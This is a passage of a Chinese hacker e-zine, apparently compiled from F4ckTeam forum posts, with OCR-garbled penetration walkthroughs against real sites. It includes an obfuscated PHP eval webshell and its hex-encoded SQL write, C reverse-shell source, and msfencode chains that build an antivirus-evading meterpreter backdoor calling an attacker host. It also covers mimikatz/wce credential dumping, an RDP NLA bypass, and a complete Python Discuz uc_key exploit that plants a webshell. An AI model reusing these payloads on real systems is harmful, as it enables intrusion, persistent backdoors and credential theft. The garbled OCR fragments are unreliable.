tem-theme-0.8.3-27.el6.centos.noarch			
> Package spice-vdagent.i686 0:0.12.0-4.el6 will be installed	-		
> Package wdaemon.1686 0:0.17-5.el6 will be installed	17	/	
> Package xorg-x11-drivers.1686 0:/.3-13.2.el6 will be updated	41	-	-
> Package xorg-x11-dr1vers.1686 0:7.3-13.4.el6 will be an update	P	3 12	
> Processing Dependency: xorg-xii-drv-xgi for package: xorg-xii-drivers-7.3-13.4.eU6.1086	-		1

图 3-1-45

Applications Places System		5:06 AM
root@jcms:~		_ = ×
<u>File E</u> dit <u>V</u> iew <u>T</u> erminal Ta <u>b</u> s <u>H</u> elp		
		[
Install 4 Package(s)		
Jpgrade 21 Package(s)		
Total download size: 7.5 M		
Is this ok [y/N]: y		
Downloading Packages:		
(1/25): firstboot-1.110.14-1.el6.i686.rpm	171 kE	3 00:00
(2/25): glx-utils-9.0-0.7.el6.i686.rpm	52 kE	3 00:00
(3/25): gnome-screensaver-2.28.3-24.el6.i686.rpm	4.3 ME	3 00:02
(4/25): hal-0.5.14-11.el6.i686.rpm	378 kE	3 00:00
(5/25): hal-devel-0.5.14-11.el6.i686.rpm	41 kE	3 00:00
(6/25): hal-libs-0.5.14-11.el6.i686.rpm	67 kE	3 00:00
(7/25): hal-storage-addon-0.5.14-11.el6.i686.rpm	40 kE	3 00:00
(8/25): pixman-0.26.2-4.el6.i686.rpm	206 kE	3 00:00
(9/25): pixman-devel-0.26.2-4.el6.i686.rpm	18 kE	3 00:00
<pre>(10/25): plymouth-core-libs-0.8.3-27.el6.centos.i686.rpm</pre>	88 kE	3 00:00
<pre>(11/25): plymouth-graphics-libs-0.8.3-27.el6.centos.i686.rpm</pre>	40 kE	3 00:00
<pre>(12/25): plymouth-plugin-label-0.8.3-27.el6.centos.i686.rpm</pre>	31 kE	3 00:00
<pre>(13/25): plymouth-plugin-two-step-0.8.3-27.el6.centos.i686.rpm</pre>	36 kE	3 00:00
<pre>(14/25): plymouth-system-theme-0.8.3-27.el6.centos.noarch.rpm</pre>	27 kE	3 00:00
<pre>(15/25): plymouth-theme-rings-0.8.3-27.el6.centos.noarch.rpm</pre>	33 kE	3 00:00
(16/25): spice-vdagent-0.12.0-4.el6.i686.rpm	51 kE	3 00:00
(17/25): wdaemon-0.17-5.el6.i686.rpm	39 kE	3 00:00
(18/25): xorg-xll-apps-7.6-6.el6.i686.rpm	270 kE	3 00:00
(19/25): xorg-x11-drivers-7.3-13.4.el6.i686.rpm	8.0 kE	3 00:00
(20/25): xorg-xll-drv-modesetting-0.5.0-1.el6.i686.rpm	21 k	00:00
<pre>(21/25): xorg-x11-drv-xgi-1.6.0-18.20121114git.el6.i686.rpm</pre>	119 kē	3 4 90:00 7
22/25): xorg-x11-server-Xorg- (96%) 98% [=================================] 1.0 MB/	s 🐧 1.2 ME	00:00 ETA
		<b>Curity</b> Team

🖬 root@jcms:~ 🗖	×
<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>T</u> erminal Ta <u>b</u> s <u>H</u> elp	
[root@jcms ~]# yum groupinstall "Desktop"	
Loaded plugins: fastestmirror	
Loading mirror speeds from cached hostfile	
Setting up Group Process	
Loading mirror speeds from cached hostfile	
Package xdg-user-dirs-gtk-0.8-7.el6.i686 already installed and latest version	
Package alsa-plugins-pulseaudio-1.0.21-3.el6.i686 already installed and latest version	
Package notification-daemon-0.5.0-1.el6.i686 already installed and latest version	
Package polkit-gnome-0.96-3.el6.i686 already installed and latest version	
Package gnome-screensaver-2.28.3-24.el6.i686 already installed and latest version	
Package eog-2.28.2-4.el6.i686 already installed and latest version	
Package gok-2.28.1-5.el6.i686 already installed and latest version	
Package gnome-media-2.29.91-6.el6.i686 already installed and latest version	
Package gnome-vfs2-smb-2.24.2-6.el6.i686 already installed and latest version	
Package orca-2.28.2-1.el6.i686 already installed and latest version	-
Resolving Dependencies	=
> Running transaction check	
> Package NetworkManager.i686 1:0.8.1-5.el6 will be updated	
> Package NetworkManager.i686 1:0.8.1-43.el6 will be an update	
> Processing Dependency: NetworkManager-glib = 1:0.8.1-43.el6 for package: 1:NetworkManager-0.8	Ê
.1-43.el6.i686	
> Package NetworkManager-gnome.i686 1:0.8.1-5.el6 will be updated	
> Package NetworkManager-gnome.i686 1:0.8.1-43.el6 will be an update γ	
> Package at-spi.i686 0:1.28.1-2.el6 will be updated	
> Processing Dependency: at-spi = 1.28.1-2.el6 for package: at-spi-python-1.28.1-2.el6.i686	
> Package at-spi.i686 0:1.28.1-2.el6.centos will be an update	
> Package control-center.i686 1:2.28.1-25.el6 will be updated 🛛 🖊 💾 🤐	
> Package control-center.i686 1:2.28.1-38.el6 will be an update	
> Processing Dependency: control-center-filesystem = 1:2.28.1-38.el6 for package: 1:control-center-filesystem = 1:control-center-fi	ML

安装成功后下面就安装 vnc 了,安装 vnc,如图 3-1-48:

<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>T</u> erminal Ta <u>b</u> s <u>H</u> elp		
[root@jcms yum.repos.d]# yum search vnc Loaded plugins: katello, product-id, security, subscription-manag Updating certificate-based repositories. Unable to read consumer identity	er	2
name	1.5 kB	00:00
name/primary	920 kB	00:00
name		3285/3285
Matched: vnc		
gtk- <b>vnc</b> .i386 : A GTK widget for <b>VNC</b> clients		
gtk- <b>vnc</b> .x86_64 : A GTK widget for <b>VNC</b> clients		
gtk- <b>vnc</b> -devel.i386 : Libraries, includes, etc. to compile with th	e gtk- <b>vnc</b> library	
gtk- <b>vnc</b> -devel.x86_64 : Libraries, includes, etc. to compile with	the gtk- <b>vnc</b> library	
gtk- <b>vnc</b> -python.x86_64 : Python bindings for the gtk- <b>vnc</b> library		
vine x96 64 - A semate desktep system for CNOME		
vino.x80_64 : A remote display system for GNOME		
$vnc$ .xoo_04 . A femote display system.		
$v_{nc}$ server $x_{0}$ $v_{0}$ $v_{0$	to build <b>VNC</b> server	
[root@icms vum renos d]# vum instal] vnc vnc-server	to build with Server	(////////
loaded plugins: katello, product-id, security, subscription-manage	er	
Updating certificate-based repositories.		
Unable to read consumer identity		-
Setting up Install Process		
Package vnc-server-4.1.2-14.el5 6.6.x86 64 already installed and	latest version	
Resolving Dependencies		_
> Running transaction check		VGQ
> Package vnc.x86_64 0:4.1.2-14.el5_6.6 set to be updated		
> Finished Dependency Resolution	Contin	the Teles
	arcut	LY I Bam

图 3-1-48

配置 vnc,如图 3-1-49,图 3-1-50:

# DO NOT RUN THIS SERVICE if your local area network is # untrusted! For a secure way of using VNC, see # <URL:http://www.uk.research.att.com/archive/vnc/sshvnc.html>. # Use "-nolisten tcp" to prevent X connections to your VNC server via TCP. # Use "-nohttpd" to prevent web-based VNC clients connecting. # Use "-localhost" to prevent remote VNC clients connecting except when # doing so through a secure tunnel. See the "-via" option in the # `man vncviewer' manual page. /NCSERVERS="2:root" 配置vnc为root权图 /NCSERVERARGS[2]="-geometry 800x600" rootejems yum.repos.uj 图 3-1-49 [root@jcms yum.repos.d]# vncpasswd Password: 设置vnc连接密码 Verify: [root@jcms yum.repos.d]# /etc/init.d/vncserver restart
Shutting down VNC server: 2:root [FAILED] Starting VNC server: 2:root New 'jcms:2 (root)' desktop is jcms:2 Creating default startup script /root/.vnc/xstartup Starting applications specified in /root/.vnc/xstartup 重启vnc服务 Log file is /root/.vnc/jcms:2.log г <u>ок</u> 1 [root@jcms yum.repos.d]# vim ~/.vnc/xstartup [root@jcms yum.repos.d]# head -n 5 ~/.vnc/xstartup #!/bin/sh # Uncomment the following two lines for normal desktop: unset SESSION\_MANAGER exec /etc/X11/xinit/xini<u>t</u>rc 设置桌面进入 [root@jcms yum.repos.d]# 图 3-1-50 使用端口转发,将 5902 端口转发出来即可连接,如图 3-1-51:



图 3-1-51

然后可以继续内网渗透, END。 (全文完)责任编辑: Rem1x

# 第6节 记一次未完成的渗透

### 作者: lostwolf

来自:法客论坛 - F4ckTeam

网址: http://team.f4ck.org/

最近一直挺忙,又因本人技术真的很渣,没什么好的东西能拿得出手来与大家分享,所以一 直没发帖。今夜,心情甚是低落,遂找个目标日日。文章很乱,内容很基础,图片、废话占 据了大量的篇幅。老鸟略过,菜鸟就当成科普文。涉及隐私 ip 隐去。

目标(某国外企业站): www.target.com ip:192.168.1.8。目标主站未发现动态脚本(asp,jsp,cfm, php,aspx...), 故从其它地方入手。

### 0x01 搜集域名信息

使用 google 搜索二级域名:site:target.com -inurl:www。

使用:dnsenum 探测二级域名: ./dnsenum.pl -f dns.txt -t 80 --threads 15 target.com。

使用这两种常用手法均未找到相关二级域名。使用御剑轻量级旁注查询工具未找到该公司相关的域名。

### 0x02 初步漏洞探测

在这里我使用一个小工具 wss.exe (不知道该工具出处听说是 safe3 web 漏洞扫描里面的), 该工具扫描漏洞能力并不强但是能快速扫描出一个 c 段中简单的一些 web 漏洞。在前期快 速寻找漏洞站点就很适合。这里我写个批处理来方便使用,效果如图 1-2-1:



### 图 1-2-2

结果还是令人满意的一个注入,一个敏感目录等等。既然已经扫描出漏洞我们先别急着日下来,万一跟目标毫无关系岂不是白日了?外网的情况下如何判断是否处在同一内网呢?我们可以使路由跟踪命令 tracert 命令看看是否经过相同路由。

tracert 命令技巧:直接 tracert ip 会很慢,而且容易超时。

我们使用 tracert -4 -d -w 100 127.0.0.1

选项:

-d 不将地址解析成主机名。 -w timeout 等待每个回复的超时时间(以毫秒为单位)

强制使用 IPv4。

-4

设置些参数优化下,速度会快很多。而且更直观,如图 1-2-3:

C	:: VJs	ers V	adm:	inistra	ator	r>trace	ert	-4 -d
j	颪过¦	最多:	30 ·	个跃点	眼趽	到	45	<u>911_92</u> 的路由
	1	26	ms	26	ms	27	MS	172.16.1.1
	2	30	ms	66	ms	51	ms	
	3	28	ms	26	ms	27	ms	172.16.1.9
	4	28	ms	27	ms	27	ms	210 55 (4 440
	5	27	ms	28	ms	27	ms	
	6	29	ms	27	ms	31	ms	
	7	×		×		×		请求超时。
	8	×		×		×		请求超时。
	9	178	ms	196	ms	176	ms	
	10	190	ms	191	ms	190	ms	246 156 5145
	11	180	ms	180	ms	180	ms	
	12	197	ms	183	ms	183	ms	144 C 440
	13	184	ms	184	ms	184	ms	64.125.24.1
	14	188	ms	188	ms	215	ms	64.125.26.25
	15	189	ms	185	ms	185	ms	64.125.30.113
	16	191	ms	191	MS	191	MS	208.185.23.74
	17	186	MS	186	ms	189	MS	
	18	203	ms	202	ms	202	MS	( <u>(</u> ( <u>0</u> <u>0</u> <u>1</u> <u>0</u>
	19	207	MS	205	MS	204	MS	
	20	209	ms	209	ms	209	ms	(* * * * *
	21	206	ms	206	MS	207	MS	61.00.00
	22	212	MS	213	MS	213	MS	
	23	×		×		×	1	
	24	×		*		×	((	/ 值丞遵弘上派 (11)
	25	×		*		×	$\mathcal{O}$	
	26	×		*		×		
	27	×		^C				

图 1-2-3

很遗憾,跳不过去。我们可以使用 Otrace(注意是零不是欧)。backtrack 5 下已集成。不过在 这里我们使用 Otrace 的增强版 intrace。

intrace 的安装非常简单的:

svn checkout http://intrace.googlecode.com/svn/trunk/ intrace

cd intrace/

./Makefile

完成安装。

使用方法: ./intrace.bin -h 192.168.2.6 -p 80 -s 4

-s 参数发送数据包大小-p 设置端口。由于该工具不是通过常规的主动的方式路由跟踪,而是通过 tcp 连接被动的来跟踪,所以我们还要对目标进行访问。在这里我对目标发送个 http 数据包,如图 1-2-4:



图 1-2-4

很好成功到达目标。分析最后经过的路由,发现与目标一致,所以判断是同一内网。 http://167.58.24.140/myadmin/main.php (url 已经过处理)访问之后发现是 phpmyadmin 而且 直接登录进去 select user(), root 权限。

通过/libraries/select\_lang.lib.php 获取 web 绝对路径为: C:\Inetpub\wwwroot\myadmin\select '<?php eval(\$\_POST[1])?>' into outfile 'C:\\Inetpub\\wwwroot\\myadmin\\sqldump.php' 发现连接被重置。web 防火墙? 不过丝毫不用担心 php 很好突破。通过 http://www.expdoo r.com/article/5.html 站点找到一个过防火墙的 php 一句话 shell。

<?php

\$\_uU=chr(99).chr(104).chr(114);\$\_cC=\$\_uU(101).\$\_uU(118).\$\_uU(97).\$\_uU(108).\$\_uU(40).\$\_uU(36).\$\_uU(95).\$ \_uU(80).\$\_uU(79).\$\_uU(83).\$\_uU(84).\$\_uU(91).\$\_uU(49).\$\_uU(93).\$\_uU(41).\$\_uU(59);\$\_fF=\$\_uU(99).\$\_uU(114).\$\_uU(101).\$\_uU(101).\$\_uU(101).\$\_uU(95).\$\_uU(102).\$\_uU(117).\$\_uU(110).\$\_uU(99).\$\_uU(116).\$\_u U(105).\$\_uU(111).\$\_uU(110);\$\_=\$\_fF("",\$\_cC);@\$\_();?>

使用火狐 hex 编码得到:

0x3c3f245f75553d636872283939292e63687228313034292e63687228313134293b245f63433d245f75552831303 1292e245f755528313138292e245f7555283937292e245f755528313038292e245f7555283430292e245f75552833 36292e245f7555283935292e245f7555283830292e245f7555283739292e245f7555283833292e245f755528383422 92e245f7555283931292e245f7555283439292e245f7555283933292e245f7555283431292e245f7555283937292e245f7555283937292e245f755528313031292e245f755528313031292e245f755528313031292e245f755528313031292e245f75552831303292e245f755528313031292e245f755528313136292e245f755528313032292e245f755528313137292e2 45f755528313130292e245f7555283939292e245f755528313136292e245f755528313032292e245f755528313137292e2 45f755528313130292e245f7555283939292e245f755528313136292e245f755528313035292e245f755528313137292e2 45f755528313130292e245f7555283939292e245f755528313136292e245f755528313035292e245f755528313137292e2

select

292e245f755528313130293b245f3d245f66462822222c245f6343293b40245f28293b3f3e into outfile 'C:\\Inetpub\\wwwroot\\myadmin\\sqldump.php' //注意双斜杠! 或者反斜杠也行

菜刀连接密码 1 成功 getshell, 如图 1-2-5:



图 1-2-5

首先想到的是 whoami 看看是否是系统权限。没想到不可以执行命令。菜刀说是开启了安全 模式,但不一定我们看看 phpinfo 发现 safe\_mode 为 Off 并且 disable\_functions no value 估计 是没权限执行吧。题外话:如果是有权限执行 cmd 但开启安全模式或者设置了 disable\_function 在低版本 php(PHP <= 5.2.9)win32 环境下是可以绕过的。

参考文章:PHP 5.x COM functions safe mode and disable function bypass。

安全模式下 exec 等函数安全隐患 PHP <= 5.2.9 Local Safemod Bypass Exploit。

http://huaidan.org/archives/3140.html。

http://luoq.net/PHP-COM-functions/。

目标虽然是低版本 (PHP Version 5.2.4),但是并不是开启安全模式,所以不适用该方法。 mysql root 权限。我们并不用考虑 php 能不能执行命令。先 udf 提权, select version(),发现 是 5.0 低于 5.1 可以直接将 dll 文件传至 c:\windows\目录。我喜欢用 sqlmap 里面的 dll 一般 都不会被杀软干掉。

相关链接 https://github.com/mysqludf/lib\_mysqludf\_sys。该 dll 提供三个函数:

lib\_mysqludf\_sys\_info 系统信息

sys\_get 获取环境变量

sys\_set 创建新的环境变量并更新环境变量

sys\_exec 执行程序不返回信息

sys\_eval 执行命令并返回信息

这里有个小技巧: dll 文件有些大直接通过 select 0x.. into outdump 方式写入比较麻烦(当然有 很多一步完成的脚本),我们可以将文件上传至任意可写目录,然后通过 load\_file()函数读该 文件同时将其写入 c:\\windows\\。这里我们创建一个 sys\_eval 就可以了。 具体步骤:

select load\_file('d:\\php\\temp\\xxoo.txt') into dumpfile 'c:\\windows\\sose.dll' create function cmdshell returns string soname 'sose.dll';

通过这个执行命令始终不方便,还是反弹个 shell 吧。

event.cpp (来源: mysql\_win\_remote\_stuxnet\_technique)。

```
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
  WSADATA wsaData;
  SOCKET Winsock;
  SOCKET Sock;
  struct sockaddr_in hax;
  STARTUPINFO ini_processo;
  PROCESS_INFORMATION processo_info;
int main(int argc, char *argv[])
{
LPCSTR szMyUniqueNamedEvent="sysnullevt";
HANDLE m_hEvent = CreateEventA(NULL, TRUE, FALSE, szMyUniqueNamedEvent);
switch (GetLastError())
{
    // app is already running
    case ERROR_ALREADY_EXISTS:
    {
         CloseHandle(m_hEvent);
                  return 0;
         // now exit
         break;
    }
    // this is the first instance of the app
    case ERROR_SUCCESS:
    {
         // global event created and new instance of app is running,
         // continue on, don't forget to clean up m_hEvent on exit
         break;
    }
}
    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
    if (argc != 3){fprintf(stderr, "Usage: <rhost> <rport>\n"); exit(1);}
    hax.sin family = AF INET;
    hax.sin_port = htons(atoi(argv[2]));
    hax.sin_addr.s_addr = inet_addr(argv[1]);
    WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);
    memset(&ini_processo,0,sizeof(ini_processo));
    ini processo.cb=sizeof(ini processo);
    ini_processo.dwFlags=STARTF_USESTDHANDLES;
    ini processo.hStdInput = ini processo.hStdOutput = ini processo.hStdError = (HANDLE)Winsock;
```

CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA)&ini\_processo,&processo \_info);

return 0;

}

编译过程省略。为什么不用 nc 呢? nc 容易被干掉,这个反弹命令很简洁 n.exe ip port 很少 被杀掉。依照上面的上传 udf 的步骤,将该文件上传至可写目录,本地监听执行之。 nc-lvv 443 发现有数据返回,但一执行命令就退出。(将一切未知异常归咎为安全软件在作 祟)怎么办??? 试试 metasploit 里面的 windows/meterpreter/reverse https(meterpreter https 反向 shell)生成一个后门: msfvenom -p windows/meterpreter/reverse https LHOST=192.168.1.100 LPORT=443 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f exe -e -i 20 >/var/www/nokill.exe。未作任何处理上传上去发现被干掉。早就该意料到。被干掉没关 系的,metasploit 支持各种编码并且可以自定义任意 exe 文件模板来免杀,如图 1-2-6: msfpayload windows/meterpreter/reverse\_https LHOST=192.168.1.100 LPORT=443 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 R |msfencode -e x86/shikata qa nai -c 5 -t raw |msfencode -e x86/alpha\_upper -c 2 -t raw |msfencode -e x86/shikata\_ga\_nai -c 5 -t raw |msfencode -e x86/countdown -c 5 -t raw | msfencode -e x86/fnstenv mov -t raw | msfencode -e x86/fnstenv mov -c 5 -t raw |msfencode -t exe -x ~/Desktop/procdump.exe -o ~/Desktop/pe lost.exe -e nt@bt:~# msfpayload windows/meterpreter/reverse https LHOST=\_ LPORT=443 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 R |msfen code -e x86/shikata\_ga\_nai -c 5 -t raw |msfencode -e x86/alpha\_upper -c 2 -t raw |msfencode -e x86/shikata ga nai -c 5 -t raw|msfencode -e x86/countdown -c 5 -t raw|msfencode -e x86/fnstenv mov -t raw |msfencode -e x86/fnstenv m ov -c 5 -t raw |msfencode -t exe -x ~/Desktop/procdump.exe -o ~/Desktop/pel ost.exe -e [\*] x86/shikata ga nai succeeded with size 397 (iteration=1) [\*] x86/shikata ga nai succeeded with size 424 (iteration=2) [\*] x86/shikata ga nai succeeded with size 451 (iteration=3) [\*] x86/shikata ga nai succeeded with size 478 (iteration=4) [\*] x86/shikata ga nai succeeded with size 505 (iteration=5) [\*] x86/alpha upper succeeded with size 1079 (iteration=1) [\*] x86/alpha upper succeeded with size 2226 (iteration=2) [\*] x86/shikata ga nai succeeded with size 2255 (iteration=1) [\*] x86/shikata ga nai succeeded with size 2284 (iteration=2) [\*] x86/shikata ga nai succeeded with size 2313 (iteration=3)

图 1-2-6

经过多层多种编码并且定义一个模板文件。相关编码就不解释了,反正我也不懂具体如何编码的。-x 选项使用任意的 windows 可执行程序作为模板文件,这里我选了 procdump.exe (微软的小工具)作为模板文件。 执行:

第 57 页/共 122 页 官方微博: http://t.qq.com/hackcto 出版日期: 每月 15 日

msf > use multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse\_httpspayload => windows/meterpreter/reverse\_httpsmsf exploit(handler) > set lhost 192.168.1.100lhost => 192.168.1.100msf exploit(handler) > set lport 443lport => 443msf exploit(handler) > exploit

use multi/handler 不用解释吧。设置下面两个参数是为了持久性 https 连接, 防止意外中断, 即使中断了也可以继续。

SessionCommunicationTimeout=0 SessionExpirationTimeout=0

将后门上传上去发现没有被杀。meterpreter 也正常使用。由于是用之前的 udf 系统权限执行的所以可以直接 gethash,如图 1-2-7:



图 1-2-7

看看 meterpreter 插件列表有哪些:

eterpreter > load -l	
pia	
cognito	
nattacks	
imikatz	
vot	
<i>iv</i>	
hiffer	
dapi	

很好 mimikatz 也集成在里面了,看看如何使用吧,如图 1-2-8:

<pre>meterpreter &gt; load mi Loading extension mim meterpreter &gt; help mi</pre>	mikatz ikatzsuccess. mikatz
Mimikatz Commands	
Command	Description 自定义(C)
kerberos	Attempt to retrieve kerberos creds
livessp	Attempt to retrieve livessp creds
mimikatz command	Run a custom commannd
mav	Attempt to retrieve msv creds (hashes)
ssp	Attempt to retrieve ssp creds
tspkg	Attempt to retrieve tspkg creds
wdigest	Attempt to retrieve wdigest creds

图 1-2-8

没抓到有用的系统用户明文,因为没有用户登录嘛。query user 查询下,如图 1-2-9:



图 1-2-9

(全文完)责任编辑: 鲨影\_sharow

# 第7节 渗透流水账 (关于 3389 与 NLA)

作者: ettack

来自:法客论坛 - F4ckTeam

网址: http://team.f4ck.org/

好久没上论坛了,之前自己过意不去,让凡哥先把我核心给撤销了,现在终于寒假了,来写 点东西吧。我知道,我说我大学比高中忙你们不会信。 记录一个过程,就是流水账,重点想说的是后面 3389 涉及到 NLA 的部分。

目标站: target.com

先收集信息,二级域名,子目录什么的,略过不提。

# 0x00 注入

尝试用户注册,观察到如下特征,怀疑有注入,如图 1-3-1:



开 burpsuite 进一步测试, 截包, 发送到 repeater, 如图 1-3-2, 1-3-3, 1-3-4:

第 59 页/共 122 页 官方微博: http://t.qq.com/hackcto 出版日期: 每月 15 日 电子杂志: 免费

Z								
Burn Intruder Denes	tor Wi	ndow Help						
Burp intruder Repea		ndow neip			r	-		_
Target Proxy S	Spider	Scanner	Intruder	Repeater	Sequence	er	Decoder	С
Intercept History	Optio	ns						
Request to								
Forward	Dr	ор	Intercept	is on	Action			
Raw Params H	leaders	Hex			Send to	Spid	ar p	
GET /AjaxAreaC	heck.	aspx? <mark>co</mark>	mpanyna	meste: .	Send to	Intru	der ()	-
Proxy-Connecti	on: k	eep-ali	ve	/ Se	P Sara U	Rep	<b>TREAM</b>	1
locont: */*			图 1-	3-2		-		
Go Cancel	< >							
Request						Res	ponse	
Raw Params Headers	Hex					Ra	w Headers	Hex
GET /AjaxAreaCheck.aspx =1387368342159 HTTP Host Proxy-Connection: k Accept: */* X-Requested-With: X User-Agent: Mozilla AppleWebKit/537.36 Chrome/29.0.1547.76 DNT: 1 Refere: Accept-Encoding: gz	?compa //1.1 meep-al MLHttp //5.0 ( (KHTML Safar	nyname=te: ive Request Windows N , like Ged i/537.36 Late,sdch	st'%20and T 6.2; WO cko)	20'a'='a&	ſ	Cach Cont Vary Serv X-As X-Po Date	virity 7 e-Control cent-Type: v: Accept- ver: Micro upNet-Vers wered-By: vered, 18 cent-Lengt	text/h Encodin soft-II: ASP.NE Dec 20
			图 1-	3-3				
Raw Params Headers Headers Headers T ET AjaxAreaCheck.aspx?com 187368342159 HTTP/1.1 ost: roxy-Connection: keep- ccept: */* -Requested-With: XMLHt ser-Agent: Hozilla/5.0 ppleWebKit/537.36 (KHT hrome/29.0.1547.76 Saf NT: 1	alive tpReque (Windo ML, lik ari/537	e=test'%200 st ws NT 6.2; e Gecko) .36	und%20'a'='		Raw Head ITTP/1.1 2: Cache-Cont: Content-Ty: Vary: Acce Server: Mi (-AspNet-V (-Powered) Oate: Vol, Content Le	ers b DO OF rol: pe: t pt-Er croso ersic Ey: J L8 I ngth:	ext/html; o coding oft-IIS/7.5 oft-SP_NET oft-SD13 13 -1 CULLY	charset=c
			图 1-	3-4				
请出 sqlmap:								
Python sqlmap.py –u "http	p://targe	et.com/AjaxA	reaCheck.as	px?companyı	name=test"	-thre	ead=10 –ran	dom-agen
–passwords								
获取到 sa 的密码 has	sh,解智	密可外连。	尝试 xp_	cmdshell,	发现被降	权,	如图 1-3-5	5:

[SQL]exec xp\_cmdshell 'set'

[Err] 42000 - [SQL Server]在执行 xp\_cmdshell 的过程中出错。调用 'CreateProcess' 块妆,错误代码: '14001'.

1

图 1-3-5

Team

0x01 拿 shell 提权

改换思路,先写 webshell 试试。用 xp\_subdirs 找到网站绝对路径,然后写入文件:

declare @o int, @f int, @t int, @ret int

exec sp\_oacreate 'scripting.filesystemobject', @o out

exec sp\_oamethod @o, 'createtextfile', @f out, 'File to write', 1

exec @ret = sp\_oamethod @f, 'writeline', NULL, 'File content'

这时发生一个心惊肉跳的事情,脑抽直接把 aspx 一句话写到 index.html 里去了,于是迅速 重新写马,菜刀连接,开始翻首页文件备份,恢复之,一切都在几十秒之间。之后把动作停 了一段时间,观察是否引起注意。

还好,风平浪静,提醒大家以后睡够觉再玩,不然手一抖事情就玩大了。舒了口气,菜刀虚 拟终端连接,可以执行命令,权限较低,尝试用 iis7 的 exp 提权,直接成功。

### 0x02 连 3389

为了操作方便,或者是因为野心需要,拿到 system 权限还不够,还要对 3389 下毒手... 要登 3389,无非三个办法:

1.加用户

2.Shift 后门

3.获取已有用户的密码

由于第一个办法隐匿度太低,对于管理比较频繁的站一般不采用。尝试方法二。

先连接 3389,结果发现要先输入登录信息,而不是想象中的直接进到登陆界面,这样就无 法触发 shift 后门,如图 1-3-6:

5	远程桌面连接 — — — — — — — — — — — — — — — — — — —	×
	□ 远程桌面	
	🥙 连接	
	Windows 安全 ×	
	输入你的凭据 这些凭据将用于连接	
	administrator MicrosoftAccount\administrator	
	用户名 密码	
	域: MicrosoftAccount	
	□ 记住我的凭据	
	确定取消	

图 1-3-6

Google 之,发现 windowsserver 2008 采用了 NLA (NetworkLevel Authentication),可以设置还 原为经典模式,但看到的方法都是界面操作。作为一个有精液的黑阔,我深信可以更改注册 表值来操作,经过一番深入 google 挖掘,找到方法:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /f /v "SecurityLayer" /t REG SZ /d "0"

但是要使设置生效,就必须让服务器重启,这样动作就大了。于是考虑方法三。老套路,上 传 wce x64, -w 参数尝试读取明文密码,成功。

### 0x03 结语

此次渗透过程的主要收获是,当只能通过 shift 后门登陆 3389,遇到 windowsserver 2008 的 NLA 验证,使得 shift 后门无用武之地,可以通过更改注册表方式回到经典模式。

(全文完)责任编辑: 鲨影\_sharow

# 第8节 Discuz X 用 uc\_key getshell exp 与 uc\_key 重置论坛密

# 码总结

作者: jinglingshu

来自:法客论坛 — F4ckTeam

网址: http://team.f4ck.org/

# 一、Discuz X1.5 X2.5 X3 用 uc\_key 来 get webshell

uc\_key 是 UC 客户端与服务端通信的通信密钥。因此使用 uc\_key 来 getshell 只能获取 UCenter Client 的 webshell,即 Discuz! 论坛的 webshell。

如果一个服务器上只有 UCenter Server 是不能通过 uc\_key 来获取该服务器上的 webshell 的 (不过可以通过 uc\_key 来将服务器上的数据并重置用户口令,后面讲)。

90 分享的 php 版的 exp 代码 uc\_key 和 url 是嵌入在代码中的,因此导致使用不方便。所以 我将代码改成 python 版的,以后使用就方便了。

代码如下:

#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())
def get_authcode(string, key = "):
ckey_length = 4

```
key = hashlib.md5(key).hexdigest()
    keya = hashlib.md5(key[0:16]).hexdigest()
    keyb = hashlib.md5(key[16:32]).hexdigest()
    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
    #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
    key_length = len(cryptkey)
    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
    string_length = len(string)
    result = "
    box = range(0, 256)
    rndkey = dict()
    for i in range(0,256):
         rndkey[i] = ord(cryptkey[i % key_length])
    j=0
    for i in range(0,256):
         j = (j + box[i] + rndkey[i]) % 256
         tmp = box[i]
         box[i] = box[j]
         box[j] = tmp
    a=0
    j=0
    for i in range(0, string_length):
         a = (a + 1) \% 256
         j = (j + box[a]) % 256
         tmp = box[a]
         box[a] = box[j]
         box[j] = tmp
         result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
    return keyc + base64.b64encode(result).replace('=', '')
def get_shell(url,key,host):
    ,,,,
    发送命令获取 webshell
    ,,,,
    headers={'Accept-Language':'zh-cn',
    'Content-Type':'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
    'Referer':url
    }
    tm = time.time()+10*3600
    tm="time=%d&action=updateapps" %tm
    code = urllib.quote(get authcode(tm,key))
    url=url+"?code="+code
    data1=""<?xml version="1.0" encoding="ISO-8859-1"?>
```

<root></root>
<item id="UC_API">http://xxx\');eval(\$_POST[1]);//</item>
""
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return "访问出错"
data2="' xml version="1.0" encoding="ISO-8859-1"?
<root></root>
<item id="UC_API">http://aaa</item>
""
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"
return "webshell:"+host+"/config/config_ucenter.php,password:1"
ifname == 'main':
host=sys.argv[1]
key=sys.argv[2]
url=host+"/api/uc.php"
print get_shell(url,key,host)
使用方法,如图 1-1-1:

F:\code>python\_uc\_key.py\_http://localhost:8080/dz/\_B4s07bE2n5nef8e2M2F0a3Y8k7G6I eEb70G2Kf1cD0Vf00b1D8pcu6p773E487D9 webshell:http://localhost:8080/dz//config/config\_ucenter.php,password:1
